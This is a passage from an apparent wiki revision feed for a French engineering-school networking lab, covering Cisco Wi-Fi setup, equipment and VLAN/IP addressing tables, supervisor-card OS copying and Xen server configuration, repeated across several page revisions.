Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;br /&gt;
&lt;br /&gt;
== Supplémentaires ==&lt;br /&gt;
&lt;br /&gt;
Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aidé mes camarades. &lt;br /&gt;
&lt;br /&gt;
Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancé son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancer.&lt;br /&gt;
&lt;br /&gt;
Puis, au niveau de de la sécurisation du site web par certificat et par DNSSEC.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi réalisé d'autres travaux comme l'utilisateur username.&lt;br /&gt;
&lt;br /&gt;
Une interconnexion, j'ai connecté les routeurs 6509 et 3560E, ils ont alors été en conflits mais les VM ont tout de même continuer à répondre.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi eu un moment une connexion avec SSID_Lulya via mon portable sans internet ce qui est normal.&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021&amp;diff=54763</id>
		<title>TP sysres IMA2a5 2020/2021</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021&amp;diff=54763"/>
				<updated>2020-12-15T22:51:22Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Table générale */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
Bienvenue sur l'article wikipédia de la promotion 2020 - 2021 de la section IMA2A5. Cette page traite du sujet de protocole avancé vu en semestre 9.&lt;br /&gt;
Le lien vers le sujet est : [https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html]&lt;br /&gt;
&lt;br /&gt;
== Objectif du projet ==&lt;br /&gt;
&lt;br /&gt;
La promotion 2020-2021 IMA2A5 réalise un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle. &lt;br /&gt;
La redondance matérielle se traduit par la mise en place de deux sites qui sont connectés et fonctionnent ensemble. Mais, si un des deux tombent en panne, le second récupère tout le travail et maintient le réseau.&lt;br /&gt;
&lt;br /&gt;
D'un point de vue système, chacun a une machine virtuelle Xen assurant des services. Pour finir, en utilisant nos connaissances, un réseau Wifi et un site web sécurisés seront installés.&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G1 | Cahier groupe n°1]]&lt;br /&gt;
| SAWICZ Lionel&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G2 | Cahier groupe n°2]]&lt;br /&gt;
| HERBOMEL Guillaume&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G3 | Cahier groupe n°3]]&lt;br /&gt;
| CRAMETTE Samuel&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G4 | Cahier groupe n°4]]&lt;br /&gt;
| AVEZ Thibaut&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G5 | Cahier groupe n°5]]&lt;br /&gt;
| GLAINE Alexandre&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G6 | Cahier groupe n°6]]&lt;br /&gt;
| VITTECOQ Thomas&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G7 | Cahier groupe n°7]]&lt;br /&gt;
| CHENU Léna &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G8 | Cahier groupe n°8]]&lt;br /&gt;
| COULON Nathan&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G9 | Cahier groupe n°9]]&lt;br /&gt;
| DJAMBA Crispin&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Description des connexions ==&lt;br /&gt;
Pour ce TP nous avons à notre disposition :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Désignation !! Référence !! Autre !! Connexion&lt;br /&gt;
|-&lt;br /&gt;
|Routeur&lt;br /&gt;
|6509&lt;br /&gt;
|Equipé de deux Hyperviseurs SUP720 avec x02 interfaces Giga et x02 TenGiga&lt;br /&gt;
|Connecté au réseau de Polytech pour accéder à internet via RENATER&lt;br /&gt;
|-&lt;br /&gt;
|Commutateur Cisco&lt;br /&gt;
|3560 E&lt;br /&gt;
|Equipement utilisé comme simple commutateur même s'il peut faire office de routeur&lt;br /&gt;
|Connecté au réseau de Polytech via la prise SR52-3/K16 &lt;br /&gt;
|-&lt;br /&gt;
|Commutateur Cisco&lt;br /&gt;
|ISR 4331&lt;br /&gt;
|Utilisé comme portail dérobé en cas de défaillance du 3560E&lt;br /&gt;
|Connecté au SDSL connecter via la prise SR52-3/L04,&lt;br /&gt;
|-&lt;br /&gt;
|Serveur de virtualisation&lt;br /&gt;
|R540&lt;br /&gt;
|Abrite les machines virtuelles&lt;br /&gt;
|Relié au 6509 par liaison fibre LC/LC et au 3560-E par câble Ethernet&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
NB: Nous avions eu à utiliser des modules SFP Giga et TenGiga Cisco de type LC ou SC.&lt;br /&gt;
Pour répondre à l’objectif du TP : la redondance matérielle, nous avions entamé le raccordement des équipements. Cependant, cela a entraîné une utilisation abusive des ressources que nous disposions : 6 liaisons fibres pour nos connexions alors que 3 nous étaient allouées, une partie est réservée aux IMA5SC.&lt;br /&gt;
&lt;br /&gt;
== Architecture matérielle ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous nous sommes occupé de l'aspect Hardware du projet. Le but étant de connecter les différents éléments mis à disposition (Routeur 6509, Serveur de virtualisation R540 et commutateur 3560-E &amp;amp; ISR 4331) entre eux. Pour cela, nous nous sommes servis de la fibre mise à dispostion. En effet, le routeur 6509, composé des deux cartes de supervision doit être connectée au R540, au 3560-E ainsi qu'à l'ISR 4331 via une liaison fibre. Initialement, nous comptions connecter chaque carte de supervision aux autres éléments grâce à la fibre mis à disposition. Cela aurait donné le schéma ci-dessous : &lt;br /&gt;
&lt;br /&gt;
=== Architecture matérielle Optimale ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Architecture-MA2a5-2020_2021.JPG]]&lt;br /&gt;
&lt;br /&gt;
=== Architecture matérielle Réelle ===&lt;br /&gt;
&lt;br /&gt;
Ainsi, grâce à cette configuration, il y aurait eu de la redondance entre les cartes de supervision et les autres éléments. De ce fait, si une des cartes de supervision était défectueuse, la seconde pourrait toujours communiquer avec le reste du système. Cependant, afin de se partager le matériel avec la seconde classe, nous ne pouvions utiliser que la moitié de la fibre mise à disposition. De ce fait, nous avons abouti à la configuration suivante : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Architecture2-MA2a5-2020_2021.JPG]]&lt;br /&gt;
&lt;br /&gt;
=== Architecture Réseau ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Architecture-Reseau-MA2a5-2020_2021.JPG]]&lt;br /&gt;
&lt;br /&gt;
== Table d'adressage IP ==&lt;br /&gt;
&lt;br /&gt;
=== Table du vlan1 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de l'appareil !! IP&lt;br /&gt;
|-&lt;br /&gt;
|6509&lt;br /&gt;
|10.60.0.1&lt;br /&gt;
|-&lt;br /&gt;
|3560 E&lt;br /&gt;
|10.60.0.2&lt;br /&gt;
|-&lt;br /&gt;
|Mask&lt;br /&gt;
|255.255.255.0&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table du vlan2 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de l'appareil !! IP  !! nom VM&lt;br /&gt;
|-&lt;br /&gt;
|6509&lt;br /&gt;
|193.48.57.161&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|3560 E&lt;br /&gt;
|193.48.57.162&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|routeur virtuel&lt;br /&gt;
|193.48.57.163&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Lionel&lt;br /&gt;
|193.48.57.164&lt;br /&gt;
|Rafale&lt;br /&gt;
|-&lt;br /&gt;
|Guillaume&lt;br /&gt;
|193.48.57.165&lt;br /&gt;
|Concorde&lt;br /&gt;
|-&lt;br /&gt;
|Samuel&lt;br /&gt;
|193.48.57.166&lt;br /&gt;
|Blackbird&lt;br /&gt;
|-&lt;br /&gt;
|Thibaut&lt;br /&gt;
|193.48.57.167&lt;br /&gt;
|Falcon&lt;br /&gt;
|-&lt;br /&gt;
|Alexandre&lt;br /&gt;
|193.48.57.168&lt;br /&gt;
|Mirage&lt;br /&gt;
|-&lt;br /&gt;
|Thomas&lt;br /&gt;
|193.48.57.169&lt;br /&gt;
|Alpha_jet&lt;br /&gt;
|-&lt;br /&gt;
|Crispin&lt;br /&gt;
|193.48.57.170&lt;br /&gt;
|NightHawk&lt;br /&gt;
|-&lt;br /&gt;
|Léna&lt;br /&gt;
|193.48.57.171&lt;br /&gt;
|hawker&lt;br /&gt;
|-&lt;br /&gt;
|Nathan&lt;br /&gt;
|193.48.57.172&lt;br /&gt;
|Boeing&lt;br /&gt;
|-&lt;br /&gt;
|ISR&lt;br /&gt;
|193.48.57.173/28&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Mask&lt;br /&gt;
|255.255.255.240&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table du vlan130 ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de l'appareil !! IP&lt;br /&gt;
|-&lt;br /&gt;
|6509&lt;br /&gt;
|192.168.222.2&lt;br /&gt;
|-&lt;br /&gt;
|3560 E&lt;br /&gt;
|192.168.222.1&lt;br /&gt;
|-&lt;br /&gt;
|Mask&lt;br /&gt;
|255.255.255.248&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table générale ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Nom !! Vlan !! Réseau IPV4 !! Réseau IPV6 !! IP Routeur 1 !! IP Routeur 2 !! IP Routeur Virtuel&lt;br /&gt;
|-&lt;br /&gt;
|X&lt;br /&gt;
|Administration&lt;br /&gt;
|Vlan1&lt;br /&gt;
|10.60.0.0/24&lt;br /&gt;
|&lt;br /&gt;
|10.60.0.1&lt;br /&gt;
|10.60.0.2&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|X&lt;br /&gt;
|Xen&lt;br /&gt;
|Vlan2&lt;br /&gt;
|193.48.57.160/28&lt;br /&gt;
|2001:660:4401:60a2::0/64&lt;br /&gt;
|193.48.57.161&lt;br /&gt;
|193.48.57.162&lt;br /&gt;
|193.48.57.163&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 1 &lt;br /&gt;
|Lionel&lt;br /&gt;
|Vlan3&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 2&lt;br /&gt;
|Guillaume&lt;br /&gt;
|Vlan4&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 3&lt;br /&gt;
|Samuel&lt;br /&gt;
|Vlan5&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 4 &lt;br /&gt;
|Thibaut&lt;br /&gt;
|Vlan6&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 5&lt;br /&gt;
|Alexandre&lt;br /&gt;
|Vlan7&lt;br /&gt;
|193.48.57.168/24&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 6&lt;br /&gt;
|Thomas&lt;br /&gt;
|Vlan8&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 7&lt;br /&gt;
|Léna&lt;br /&gt;
|Vlan10&lt;br /&gt;
|10.60.7.0/24&lt;br /&gt;
|2001:660:4401:60aa::0/64&lt;br /&gt;
|10.60.7.1&lt;br /&gt;
|10.60.7.2&lt;br /&gt;
|10.60.7.3&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 8&lt;br /&gt;
|Nathan&lt;br /&gt;
|Vlan11&lt;br /&gt;
|X&lt;br /&gt;
|2001:660:4401:60a2::4/64&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 9&lt;br /&gt;
|Crispin&lt;br /&gt;
|Vlan12&lt;br /&gt;
|10.60.9.0/24&lt;br /&gt;
|2001:660:4401:60a4::0/64&lt;br /&gt;
|10.60.9.1&lt;br /&gt;
|10.60.9.2&lt;br /&gt;
|10.60.9.3&lt;br /&gt;
|-&lt;br /&gt;
|X&lt;br /&gt;
|Interconnexion&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|Router1 : X  // Router2 : X // Ecole : X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Cartes de supervision ===&lt;br /&gt;
&lt;br /&gt;
Problématique: Configuration et installation des OS des cartes de supervision&lt;br /&gt;
&lt;br /&gt;
Etape 1: Vérifier l'existence d'OS sur les deux cartes. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour cela, nous avons utilisé le port console grâce à une liaison série sur un PC. Ainsi, nous avons utilisé l'interface minicom pour nous connecter aux cartes. &lt;br /&gt;
 -&amp;gt; 1ere carte: OS présent. Réaction suite à la commande boot et différents OS trouvés (3)&lt;br /&gt;
 -&amp;gt; 2ème carte: OS absent &lt;br /&gt;
&lt;br /&gt;
Etape 2: Copie du fichier d'OS&lt;br /&gt;
&lt;br /&gt;
[[Fichier:TP sysres IMA2a5 2020/2021 - Carte Supervision 1.jpg]]&lt;br /&gt;
&lt;br /&gt;
Grâce à l'emplacement en façade pour les cartes flash, nous avons pu copier le fichier d'OS de la première carte de supervision vers l'autre. Puis, il nous a suffit de replacer la carte flash dans la deuxième carte de supervision.&lt;br /&gt;
&lt;br /&gt;
copy sup-bootdisk:/sys/s72033/base/s72033-ipservicesk9_wan-mz.&amp;amp;éé-33.SXI6.bin disk0:&lt;br /&gt;
&lt;br /&gt;
Etape 3: Reboot de la deuxième carte&lt;br /&gt;
&lt;br /&gt;
Pour s'assurer du bon fonctionnement de la deuxième carte, nous l'avons redémarrer (boot) avec l'OS à l'intérieur. &lt;br /&gt;
&lt;br /&gt;
boot&lt;br /&gt;
sh ver &lt;br /&gt;
&lt;br /&gt;
Etape 4: Vérification de la redondance&lt;br /&gt;
&lt;br /&gt;
La carte principale de supervision est active alors que la deuxième est en standby. La première carte bootée est la carte active&lt;br /&gt;
&lt;br /&gt;
== Configuration machine Xen sur Capbreton ==&lt;br /&gt;
&lt;br /&gt;
- Connexion de l'écran, clavier, souris sur le serveur &lt;br /&gt;
- Commande &amp;quot;lbslk&amp;quot; permettant de voir les partitions sur la machine&lt;br /&gt;
    Il y a 2 disques de 500go qui forme un volume répartie de la façon suivante : 900Go pour Xen et 100Go pour le système.&lt;br /&gt;
    Il y a 1 disque SDA avec 800go de libre.&lt;br /&gt;
    Deux disques plus lent sont utilisé pour LVM.&lt;br /&gt;
- On souhaite déplacer les disques présent dans l'ancien serveur vers le serveur Capbreton cependant il faut s'assurer que les berceaux sont les même.&lt;br /&gt;
    Dans notre cas les berceaux ne sont pas les mêmes nous n'avons pas pu les insérer&lt;br /&gt;
&lt;br /&gt;
Concernant le brigde, nous avons vu dans /etc/network/interfaces &amp;quot;brigde_ports eth1 eth7&amp;quot;. Nous devons connecter eth1 et eth7. Pour connaître où sont les interfaces sur le serveur nous avons utilisé la commande:&lt;br /&gt;
    ethtool -p eth7&lt;br /&gt;
    ethtool -p eth1&lt;br /&gt;
&lt;br /&gt;
On a pu constater que eth7 correspond à la connexion en fibre optique et eth1 est la connexion cuivre&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021&amp;diff=54762</id>
		<title>TP sysres IMA2a5 2020/2021</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021&amp;diff=54762"/>
				<updated>2020-12-15T22:48:32Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Table des vlan */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
Bienvenue sur l'article wikipédia de la promotion 2020 - 2021 de la section IMA2A5. Cette page traite du sujet de protocole avancé vu en semestre 9.&lt;br /&gt;
Le lien vers le sujet est : [https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html]&lt;br /&gt;
&lt;br /&gt;
== Objectif du projet ==&lt;br /&gt;
&lt;br /&gt;
La promotion 2020-2021 IMA2A5 réalise un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle. &lt;br /&gt;
La redondance matérielle se traduit par la mise en place de deux sites qui sont connectés et fonctionnent ensemble. Mais, si un des deux tombent en panne, le second récupère tout le travail et maintient le réseau.&lt;br /&gt;
&lt;br /&gt;
D'un point de vue système, chacun a une machine virtuelle Xen assurant des services. Pour finir, en utilisant nos connaissances, un réseau Wifi et un site web sécurisés seront installés.&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G1 | Cahier groupe n°1]]&lt;br /&gt;
| SAWICZ Lionel&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G2 | Cahier groupe n°2]]&lt;br /&gt;
| HERBOMEL Guillaume&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G3 | Cahier groupe n°3]]&lt;br /&gt;
| CRAMETTE Samuel&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G4 | Cahier groupe n°4]]&lt;br /&gt;
| AVEZ Thibaut&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G5 | Cahier groupe n°5]]&lt;br /&gt;
| GLAINE Alexandre&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G6 | Cahier groupe n°6]]&lt;br /&gt;
| VITTECOQ Thomas&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G7 | Cahier groupe n°7]]&lt;br /&gt;
| CHENU Léna &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G8 | Cahier groupe n°8]]&lt;br /&gt;
| COULON Nathan&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G9 | Cahier groupe n°9]]&lt;br /&gt;
| DJAMBA Crispin&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Description des connexions ==&lt;br /&gt;
Pour ce TP nous avons à notre disposition :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Désignation !! Référence !! Autre !! Connexion&lt;br /&gt;
|-&lt;br /&gt;
|Routeur&lt;br /&gt;
|6509&lt;br /&gt;
|Equipé de deux Hyperviseurs SUP720 avec x02 interfaces Giga et x02 TenGiga&lt;br /&gt;
|Connecté au réseau de Polytech pour accéder à internet via RENATER&lt;br /&gt;
|-&lt;br /&gt;
|Commutateur Cisco&lt;br /&gt;
|3560 E&lt;br /&gt;
|Equipement utilisé comme simple commutateur même s'il peut faire office de routeur&lt;br /&gt;
|Connecté au réseau de Polytech via la prise SR52-3/K16 &lt;br /&gt;
|-&lt;br /&gt;
|Commutateur Cisco&lt;br /&gt;
|ISR 4331&lt;br /&gt;
|Utilisé comme portail dérobé en cas de défaillance du 3560E&lt;br /&gt;
|Connecté au SDSL connecter via la prise SR52-3/L04,&lt;br /&gt;
|-&lt;br /&gt;
|Serveur de virtualisation&lt;br /&gt;
|R540&lt;br /&gt;
|Abrite les machines virtuelles&lt;br /&gt;
|Relié au 6509 par liaison fibre LC/LC et au 3560-E par câble Ethernet&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
NB: Nous avions eu à utiliser des modules SFP Giga et TenGiga Cisco de type LC ou SC.&lt;br /&gt;
Pour répondre à l’objectif du TP : la redondance matérielle, nous avions entamé le raccordement des équipements. Cependant, cela a entraîné une utilisation abusive des ressources que nous disposions : 6 liaisons fibres pour nos connexions alors que 3 nous étaient allouées, une partie est réservée aux IMA5SC.&lt;br /&gt;
&lt;br /&gt;
== Architecture matérielle ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous nous sommes occupé de l'aspect Hardware du projet. Le but étant de connecter les différents éléments mis à disposition (Routeur 6509, Serveur de virtualisation R540 et commutateur 3560-E &amp;amp; ISR 4331) entre eux. Pour cela, nous nous sommes servis de la fibre mise à dispostion. En effet, le routeur 6509, composé des deux cartes de supervision doit être connectée au R540, au 3560-E ainsi qu'à l'ISR 4331 via une liaison fibre. Initialement, nous comptions connecter chaque carte de supervision aux autres éléments grâce à la fibre mis à disposition. Cela aurait donné le schéma ci-dessous : &lt;br /&gt;
&lt;br /&gt;
=== Architecture matérielle Optimale ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Architecture-MA2a5-2020_2021.JPG]]&lt;br /&gt;
&lt;br /&gt;
=== Architecture matérielle Réelle ===&lt;br /&gt;
&lt;br /&gt;
Ainsi, grâce à cette configuration, il y aurait eu de la redondance entre les cartes de supervision et les autres éléments. De ce fait, si une des cartes de supervision était défectueuse, la seconde pourrait toujours communiquer avec le reste du système. Cependant, afin de se partager le matériel avec la seconde classe, nous ne pouvions utiliser que la moitié de la fibre mise à disposition. De ce fait, nous avons abouti à la configuration suivante : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Architecture2-MA2a5-2020_2021.JPG]]&lt;br /&gt;
&lt;br /&gt;
=== Architecture Réseau ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Architecture-Reseau-MA2a5-2020_2021.JPG]]&lt;br /&gt;
&lt;br /&gt;
== Table d'adressage IP ==&lt;br /&gt;
&lt;br /&gt;
=== Table du vlan1 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de l'appareil !! IP&lt;br /&gt;
|-&lt;br /&gt;
|6509&lt;br /&gt;
|10.60.0.1&lt;br /&gt;
|-&lt;br /&gt;
|3560 E&lt;br /&gt;
|10.60.0.2&lt;br /&gt;
|-&lt;br /&gt;
|Mask&lt;br /&gt;
|255.255.255.0&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table du vlan2 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de l'appareil !! IP  !! nom VM&lt;br /&gt;
|-&lt;br /&gt;
|6509&lt;br /&gt;
|193.48.57.161&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|3560 E&lt;br /&gt;
|193.48.57.162&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|routeur virtuel&lt;br /&gt;
|193.48.57.163&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Lionel&lt;br /&gt;
|193.48.57.164&lt;br /&gt;
|Rafale&lt;br /&gt;
|-&lt;br /&gt;
|Guillaume&lt;br /&gt;
|193.48.57.165&lt;br /&gt;
|Concorde&lt;br /&gt;
|-&lt;br /&gt;
|Samuel&lt;br /&gt;
|193.48.57.166&lt;br /&gt;
|Blackbird&lt;br /&gt;
|-&lt;br /&gt;
|Thibaut&lt;br /&gt;
|193.48.57.167&lt;br /&gt;
|Falcon&lt;br /&gt;
|-&lt;br /&gt;
|Alexandre&lt;br /&gt;
|193.48.57.168&lt;br /&gt;
|Mirage&lt;br /&gt;
|-&lt;br /&gt;
|Thomas&lt;br /&gt;
|193.48.57.169&lt;br /&gt;
|Alpha_jet&lt;br /&gt;
|-&lt;br /&gt;
|Crispin&lt;br /&gt;
|193.48.57.170&lt;br /&gt;
|NightHawk&lt;br /&gt;
|-&lt;br /&gt;
|Léna&lt;br /&gt;
|193.48.57.171&lt;br /&gt;
|hawker&lt;br /&gt;
|-&lt;br /&gt;
|Nathan&lt;br /&gt;
|193.48.57.172&lt;br /&gt;
|Boeing&lt;br /&gt;
|-&lt;br /&gt;
|ISR&lt;br /&gt;
|193.48.57.173/28&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Mask&lt;br /&gt;
|255.255.255.240&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table du vlan130 ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de l'appareil !! IP&lt;br /&gt;
|-&lt;br /&gt;
|6509&lt;br /&gt;
|192.168.222.2&lt;br /&gt;
|-&lt;br /&gt;
|3560 E&lt;br /&gt;
|192.168.222.1&lt;br /&gt;
|-&lt;br /&gt;
|Mask&lt;br /&gt;
|255.255.255.248&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table générale ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Nom !! Vlan !! Réseau IPV4 !! Réseau IPV6 !! IP Routeur 1 !! IP Routeur 2 !! IP Routeur Virtuel&lt;br /&gt;
|-&lt;br /&gt;
|x&lt;br /&gt;
|Administration&lt;br /&gt;
|Vlan1&lt;br /&gt;
|10.60.0.0/24&lt;br /&gt;
|&lt;br /&gt;
|10.60.0.1&lt;br /&gt;
|10.60.0.2&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|x&lt;br /&gt;
|Xen&lt;br /&gt;
|Vlan2&lt;br /&gt;
|193.48.57.160/28&lt;br /&gt;
|2001:660:4401:60a2::0/64&lt;br /&gt;
|193.48.57.161&lt;br /&gt;
|193.48.57.162&lt;br /&gt;
|193.48.57.163&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 1 &lt;br /&gt;
|Lionel&lt;br /&gt;
|Vlan3&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 2&lt;br /&gt;
|Guillaume&lt;br /&gt;
|Vlan4&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 3&lt;br /&gt;
|Samuel&lt;br /&gt;
|Vlan5&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 4 &lt;br /&gt;
|Thibaut&lt;br /&gt;
|Vlan6&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
